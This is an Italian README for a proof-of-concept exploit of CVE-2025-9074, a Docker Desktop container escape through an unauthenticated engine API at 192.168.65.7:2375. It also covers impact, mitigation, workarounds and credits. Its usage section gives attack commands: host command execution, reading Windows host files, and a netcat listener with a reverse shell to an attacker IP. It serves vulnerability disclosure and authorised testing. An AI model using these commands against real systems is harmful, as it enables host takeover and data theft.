CVE-2025-9074: Proof of Concept di Fuga dal Contenitore di Docker Desktop

Exploit Proof of Concept per CVE-2025-9074 - una vulnerabilità critica di fuga dal contenitore in Docker Desktop che consente l'accesso non autenticato all'API del motore Docker.

Panoramica della Vulnerabilità

Dettagli Tecnici

La vulnerabilità consente ai container in esecuzione su Docker Desktop di accedere all'API del motore Docker all'indirizzo http://192.168.65.7:2375 senza autenticazione. Ciò si verifica indipendentemente da:

• Impostazioni di Enhanced Container Isolation (ECI)
• Configurazione 'Expose daemon on tcp://localhost:2375 without TLS'
• Qualsiasi altra impostazione di sicurezza

Impatto

• Windows (backend WSL): Pieno controllo dell'host con privilegi amministrativi
• macOS: Manipolazione dei container e possibile backdooring (limitato dai prompt utente)
• Linux: Non vulnerabile (utilizza socket Unix invece di TCP)

Causa Principale

L'API del motore Docker è stata esposta su un socket TCP accessibile dall'interno dei container, consentendo:

• Creare/eliminare container
• Montare filesystem dell'host
• Eseguire comandi privilegiati
• Bypass completo dell'isolamento dei container

Utilizzo

Prerequisiti

pip3 install requests

Modalità di Esecuzione dei Comandi

# Execute a command on the host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "whoami"

# Read files from Windows host
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "cat /hostfs/mnt/c/Users/Administrator/Desktop/root.txt"

# List users on Windows
python3 exploit.py -u http://192.168.65.7:2375 -m cmd -c "ls -la /hostfs/mnt/c/Users"

Modalità Reverse Shell

# Terminal 1: Set up listener
nc -lvnp 4444

# Terminal 2: Execute exploit
python3 exploit.py -u http://192.168.65.7:2375 -m reverse -l <YOUR_IP> -p 4444

# Once connected, host filesystem is at: /hostfs

Dall'interno di un Container

# If you already have access to a container
curl http://192.168.65.7:2375/version

Scenario di Attacco

graph TD
    A[Malicious Container] -->|No Auth Required| B[Docker Engine API<br/>192.168.65.7:2375]
    B -->|Create Container| C[Privileged Container]
    C -->|Mount Host FS| D[Full Host Access]
    D -->|Read/Write| E[Compromise System]

Mitigazione

Azione Immediata Richiesta

Aggiorna immediatamente a Docker Desktop 4.44.3 o successivo.

# Check your Docker Desktop version
docker --version

# Update Docker Desktop
# Windows: Download from https://desktop.docker.com/win/main/amd64/Docker%20Desktop%20Installer.exe
# macOS: Download from https://desktop.docker.com/mac/main/amd64/Docker.dmg

Soluzioni Alternative (Temporanee)

Se l'aggiornamento immediato non è possibile:

1. Evita di eseguire container non fidati
2. Monitora le connessioni di rete dai container
3. Implementa la segmentazione di rete
4. Rivedi tutte le immagini dei container prima del deployment

Riferimenti

• Avviso di Sicurezza Docker
• NVD CVE-2025-9074
• Blog di Felix Boulet
• Analisi di Philippe Dugré
• Avviso di GitHub

Dichiarazione di non responsabilità

Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati.

• Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test
• L'accesso non autorizzato ai sistemi informatici è illegale
• Gli autori non si assumono alcuna responsabilità per l'uso improprio di questo software

Crediti

• Scoperta della Vulnerabilità: Felix Boulet, Philippe Dugré
• Sviluppo del PoC: Amanja Francisco
• Team di Sicurezza Docker: Per la rapida risposta e la patch

Licenza

Licenza MIT - Vedi il file LICENSE per i dettagli